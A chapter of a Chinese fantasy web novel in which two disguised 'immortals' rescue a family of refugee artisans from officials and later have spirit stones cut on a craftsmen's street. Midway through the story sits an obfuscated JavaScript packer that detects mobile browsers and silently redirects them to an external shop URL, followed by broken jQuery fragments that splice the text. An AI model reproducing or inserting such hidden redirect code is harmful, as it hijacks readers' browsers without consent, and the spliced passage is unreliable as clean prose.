事实证明,这个水绿衣裙、美貌温柔的少女的确比她的同伴好说话,没用几句话的工夫,就说服了她去救人,她那冷冰冰的同伴也没反对。
女孩心想:她的直觉是对的,她的直觉已经救过她们许多次了!
她跌跌撞撞地爬起来,带着他们往巷子外飞奔,抱着那么大一包行囊,跑得仍然快极了,叶尘音不得不跟着一起跑,才能不被她甩下。
希微倒是轻松许多,闲庭信步似的飘在后面。他看叶尘音跑得脸色发红,就握住了她的手腕,灵力所到处,好像有风在后面轻轻推着她,轻而易举地就省去了她奔跑的力气。
这就是灵力,是灵力轻轻松松就能做到的,最简单的事情之一。
叶尘音潜心去感受这前所未有的体验,试图去捕捉灵气流动的方向,没留意到希微欲言又止地看了她好几眼。
不是说除了请工匠和采买以外,其他事都不重要吗?
流民不是骗过她、欺负过她吗,为什么还要去管他们的闲事?
不过他也还记得之前答应过叶尘音的话——在南乡州的时候万事她来安排,以及有外人的时候不要随便问问题,于是就把这两句话压回了舌头底下,什么都没问。
跟着流民女孩,他们几步跑出了小巷,就看见不远处几个穿着府衙衣裳的人正拿着鞭子和棍子,在抽打早上见到的另外几个流民。
还有一帮围观群众,不敢靠得太近,一溜挨在墙边偷偷张望,小声地指指点点。
眼看那棍子要落在同伴头上,流民女孩什么也顾不得,尖叫一声扑上去,用自己的脊背严严实实地护住了同伴和怀里的行囊。
这行囊跟着他们一路从北到南,虽然被小心地护着,还是遭到了不少摧残,现在终于壮烈牺牲了,“哐”的一声,里头的锤子、榔头、钻头……顿时滚得满地都是。
而那棍棒简直比女孩的脊背还厚实。
希微五指在空中轻轻地一抓,空气中的水雾应声而出,化成了一条无形的大蛇。连眨眼的工夫都没用,大蛇已经扑过去,将几个膀大腰圆的差役绞得结结实实。
好熟悉的手段……
叶尘音惨不忍睹地别过了头。
希微估摸着也没怎么起杀念,只是缠绕;而且他给叶尘音治过一次病以后,在“下手轻重”这回事上有了长足的进步,虽说给差役们绞得直翻白眼,毕竟没给他们绞死。
甚至其中还有一个能说话的,他两手在空中乱抓,断断续续地问:“你们……谁?仙人……还是?……这是公务……我们是官府的……”
希微最烦有人问他的品种,统共就只能接受叶尘音问他“你是仙人还是妖怪”,那还是看在叶尘音有趣又无害,长得好看,又是他亲手带回海岛的份上。
现在一个臭烘烘的胖子也敢问他这个问题,希微毫不遮掩地露出了厌烦神色,手指一勾,无形的绞索骤然收紧。
胖差役惨叫一声,被活活勒晕了过去,一股臭气弥漫,衣裳也四处渗出血色,不知道被绞断了多少根骨头。
“没死,”希微嫌弃地甩了一下手,还特意回头和叶尘音解释了一句,“你说尽量不用灵力,我有收敛。”
叶尘音:“……”
那可真是谢谢他了……
几个流民这时候也彼此搀扶着站了起来。为首的妇人为了护着那孩子,已经头破血流,另外一个看着十四五岁的男孩也没好到哪里去。
女孩噙着眼泪扶起妇人,几个人互相检查伤势。四张脸,神色出奇的一致,都是满脸悲恸愤恨,还夹杂着几分死里逃生的后怕。
墙根底下的一排围观群众们都缩起了脖子,其中有一个小声地说了句,“这不是昨天在万方行舍投宿的两位小仙长吗……”
虽说两人换了衣裳,但脸还是很好辨认,另一个在行舍里和他们打过照面的人仔细一看,“果然是!”
人群静了片刻,随后嗡嗡议论声四起,“真的是仙人啊”、“等会我也去踩踩仙人走过的地”、“果然仙家手段!”等等,不绝于耳。
叶尘音尽量控制住表情,以免给仙人丢脸,心里却长长地哀叹一声。
一个谎言一旦说出口,后面就得用无数个谎言来圆,没事,她知道的。
还好希微比她承受力更差,他实在受不了这万众瞩目的待遇,忍无可忍地朝人群里瞪了一眼。
那地上还躺着几个倒霉的差役,众人哪敢和他讲理,有一个算一个地缩着脑袋逃窜,刹那间就散得无影无踪了。
人群虽散了,他们的议论声却给那几个流民听得清清楚楚。那妇人跌跌撞撞地挪过来,二话没说,先哐哐给两位“小仙长”磕了几个响头。
叶尘音第一次受到此等大礼,赶紧错身让开了,还俯身去扶那妇人。
“多谢两位小仙长救命之恩,”妇人不肯起身,一开口,声音沙哑哽咽,“若不是两位……我们恐怕早已……”
她一句话没说完,泪已经落了下来,额头上的血和泪在脸上混成一片,淡红的一滴一滴,都滚在深褐色的衣襟上。
叶尘音看着实在不像样,到底探出了手,仙器手环转动,温暖的灵光笼罩在妇人身上。
反正她怀里还揣着一枚灵石呢,等会到了机巧街,就找人切割成能用的灵元,灵气耗尽了也不怕。
她问道:“看您随身的行装,您莫非是个匠人吗?”
“是,”经过仙器的治疗,妇人惨白的面色好转了不少。她先谢过了叶尘音给她治伤,才说道,“我从前是博月州钜家的门徒之一。”
钜家就是凡人中最善于百工机巧的一门学派。
叶尘音肃然起敬,没忘了给希微解释,“钜家门徒就是一批相当了不起的工匠。”
希微回以一个茫然的眼神。
他虽然对工匠这行全无了解,但有本事的人,在哪都稀罕,这道理就算在妖怪们之间也是一样。匠人这种值得他特意跑出来邀请的品种,那应该是很珍稀的才对,但怎么好像在人族眼里她们一点也不值钱呢?
叶尘音无声地叹口气,指了指这几个流民给希微看:不是妇,就是孺,没有一点自保之力。越有本事,越容易被争抢,越容易遭难,这她可太感同身受了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558071|203426||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这时那三个孩子已经收拢完了一地的工具,两个男孩都脱了上衣,熟练地把行囊修补起来。那流民少女将工具清点了一遍,好似不太放心,抱着行囊来请母亲清点第二遍。
女匠人抬头望了叶尘音一眼,见她点头默许,这才低头一一过目,见确实一样没少,才小心翼翼地重新封上了行囊,还打了个好看的结。
叶尘音问:“夫人带着这么多东西一路到了南边吗?”
“也不全是,”清点过工具之后,女匠人的神色明显松快了许多,好像从自己的工具箱里汲取了力气似的,她抬起头来朝叶尘音笑了笑,“中途难免会丢一两件,只好沿路找地方补上,现在许多都不是博月州钜家的东西了。”
她叹息似的感慨了一声,“不管沦落成什么样,立身处世的技艺总不能丢下,只要别丢了它们,就不至于全无希望啊。”
两拨人就此告别,女匠人带着几个孩子又叩了个头道谢,还想问他们的名字——她们身无长物,除了口头道谢以外拿不出什么有用的报答,只能给他们上香供奉,以期他们未来修行顺利。
但他俩毕竟是假冒的仙人,只好深藏功与名,放走了地上的几个差役以后,去机巧街的一路上,叶尘音都没说话。
希微问她:“你在想什么?”
“没什么。”机巧街果然是工匠聚集之地,叶尘音轻轻松松地找到了能切割灵石的匠人,她坐在外面的待客区等里面加工,随口说道,“你能找得到刚才那位钜家门徒吗?”
希微:“嗯。”
像他这样的妖怪,感应个把凡人的气息轻而易举。
叶尘音道:“我想就请那位钜家门徒回岛上。”
“她?”希微反对道,“我觉得她不够好。”
“咦?”希微第一次提出这样的意见,叶尘音也好奇起来,“为什么?”
“她身上没有一点接触过灵气的痕迹,”希微指了指帘幕的方向,“但里面那个人有,说明他经常制作蕴含灵气的东西。她做的都只是凡物。”
行吧,妖怪的评价体系一如既往地取决于“有没有灵气”。
叶尘音道:“可是我们也只是需要一个凡人住的小院子,并不要它有灵气啊。我知道从博月州到南乡州有多远,一个匠人流浪了这么远还没抛下她的工具,足以证明她多么看重她的技艺……我想要一个手艺好的工匠,能不能处理灵石,这没那么重要。”
说话间帘幕掀开,里面的匠人捧着一个匣子出来了,打开一看,灵光烂漫,里面整整齐齐地码放着一匣子“灵元”。
希微收藏的灵石实在是好东西,有这么一匣子,少说够她的仙器手环烧三年了!
叶尘音迫不及待地给手环安上了一枚新的灵元,手环上的刻纹欢快地亮起来,她轻轻一转,亮蓝的雷光开始缓慢地在她腕间积聚。
总算又有了防身之物,不用万事都指望希微,她愉快地吐出一口气。
而一个念头,像腕间的电光般划过她的脑海:一个仙器,就是我立身处世的技艺吗?
它算是吗?
当然不是。